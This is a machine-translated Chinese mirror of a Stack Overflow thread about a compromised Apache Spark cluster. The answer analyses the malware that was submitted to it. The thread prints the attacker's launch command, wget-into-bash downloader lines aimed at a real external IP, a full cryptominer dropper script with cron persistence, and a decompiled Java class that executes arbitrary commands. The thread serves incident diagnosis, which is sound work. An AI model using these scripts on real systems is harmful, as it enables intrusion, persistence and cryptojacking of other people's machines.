簡體   English   中英

apache spark executor提交帶有exploit類的驅動程序

[英]apache spark executor submit driver with exploit class

經過大量搜索和研究,我轉向在這里尋求幫助。 問題在於,一旦構建了一個Spark集群(一個主節點和4個具有不同IP地址的工作者),每個執行者將不斷提交“驅動程序”。 從Web UI中,我可以看到與“驅動程序”一起提交的名為“漏洞利用”的類。 網絡用戶界面
以下是一名工人的日志文件的開頭和結尾。

啟動命令:“ /usr/lib/jvm/jdk1.8/jre/bin/java”“ -cp”“ / home / labuser / spark / conf /:/ home / labuser / spark / jars / *”“ -Xmx1024M “” -Dspark.eventLog.enabled = true“” -Dspark.driver.supervise = false“” -Dspark.submit.deployMode = cluster“” -Dspark.app.name = Exploit“” -Dspark.jars = http:/ /192.99.142.226:8220/Exploit.jar “” -Dspark.master = spark://129.10.58.200:7077“” org.apache.spark.deploy.worker.DriverWrapper“” spark://Worker@129.10.58.202 :44717“” /home/labuser/spark/work/driver-20180815111311-0065/Exploit.jar“”利用“” wget -O /var/tmp/a.sh http://192.99.142.248:8220/cron5。 sh,bash /var/tmp/a.sh

18/08/15 11:13:56 DEBUG ByteBufUtil:-Dio.netty.allocator.type:未池化18/08/15 11:13:56 DEBUG ByteBufUtil:-Dio.netty.threadLocalDirectBufferSize:65536 18/08/15 11 :13:56 DEBUG ByteBufUtil:-Dio.netty.maxThreadLocalCharBufferSize:16384 18/08/15 11:13:56 DEBUG NetUtil:回送接口:lo(lo,0:0:0:0:0:0:0:0:1 %lo)15/08/15 11:13:56 DEBUG NetUtil:/ proc / sys / net / core / somaxconn:128 18/08/15 11:13:57 DEBUG TransportServer:隨機播放服務器在端口上啟動:46034 18 / 08/15 11:13:57 INFO實用程序:成功啟動端口46034上的服務“驅動程序”。15/08/15 11:13:57 INFO WorkerWatcher:連接到worker spark://Worker@129.10.58.202:44717 18 / 08/15 11:13:58 DEBUG TransportClientFactory:創建到/129.10.58.202:44717 18/08/15 11:13:59 DEBUG的新連接AbstractByteBuf:-Dio.netty.buffer.bytebuf.checkAccessible:true 18/08 / 15 11:13:59 DEBUG ResourceLeakDetector:-Dio.netty.leakDetection.level:簡單18/08/15 11:13:59 DEBUG ResourceLeakDetector:-Dio.netty.leakDetection.maxRecords:4 1 15/8/15 11:13:59 DEBUG ResourceLeakDetectorFactory:加載的默認ResourceLeakDetector:io.netty.util.ResourceLeakDetector@350d33b5 18/08/15 11:14:00 DEBUG TransportClientFactory:與/129.10.58.202:44717的連接成功,正在運行bootstraps ... 18/08/15 11:14:00 INFO TransportClientFactory:在1706 ms(在bootstraps中花費了0 ms)之后,成功創建了到/129.10.58.202:44717的連接18/08/15 11:14:00 INFO WorkerWatcher:成功連接到spark://Worker@129.10.58.202:44717 18/08/15 11:14:00 DEBUG回收站:-Dio.netty.recycler.maxCapacity.default:32768 18/08/15 11:14:00 DEBUG回收站:-Dio.netty.recycler.maxSharedCapacityFactor:2 18/08/15 11:14:00 DEBUG回收站:-Dio.netty.recycler.linkCapacity:16 18/08/15 11:14:00 DEBUG回收站:-Dio .netty.recycler.ratio:8

我發現有一個“利用”代碼,它利用任何人都可以將應用程序提交到未經授權的Spark集群這一事實來入侵Spark集群。

未保護的APACHE SPARK群中的任意代碼執行

但是我不認為我的集群被黑了。 應用授權模式后的原因,此問題仍然存在。

我的問題是其他人有這個問題嗎? 為什么會這樣呢?

這很警報!

首先,反編譯的源代碼顯示驅動程序將執行通過參數提供給它的命令。 在您的情況下,此wget將腳本下載到temp,然后執行它。

下載的腳本下載jpg並通過管道傳輸到bash。 這不是圖像

wget -q -O - http://192.99.142.248:8220/logo10.jpg | bash -sh

logo10.jpg包含一個cron作業,其中包含將在您的集群上運行的更多源代碼。 您可能正在看到該作業正在提交,因為它正在開始計划的作業。

#!/bin/sh
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w sustes |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \
echo "* * * * * wget -q -O - http://192.99.142.248:8220/mr.sh | bash -sh" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
wget -O /var/tmp/config.json http://192.99.142.248:8220/3.json
wget -O /var/tmp/sustes http://192.99.142.248:8220/rig
chmod 777 /var/tmp/sustes
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sustes -c config.json -t `echo $cores` >/dev/null &
fi
sleep 3
echo "runing....."

反編譯源

public class Exploit {
    public Exploit() {
    }

    public static void main(String[] var0) throws Exception {
        String[] var1 = var0[0].split(",");
        String[] var2 = var1;
        int var3 = var1.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            String var5 = var2[var4];
            System.out.println(var5);
            System.out.println(executeCommand(var5.trim()));
            System.out.println("==============================================");
        }

    }

    private static String executeCommand(String var0) {
        StringBuilder var1 = new StringBuilder();

        try {
            Process var2 = Runtime.getRuntime().exec(var0);
            var2.waitFor();
            BufferedReader var3 = new BufferedReader(new InputStreamReader(var2.getInputStream()));

            String var4;
            while((var4 = var3.readLine()) != null) {
                var1.append(var4).append("\n");
            }
        } catch (Exception var5) {
            var5.printStackTrace();
        }

        return var1.toString();
    }
}

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM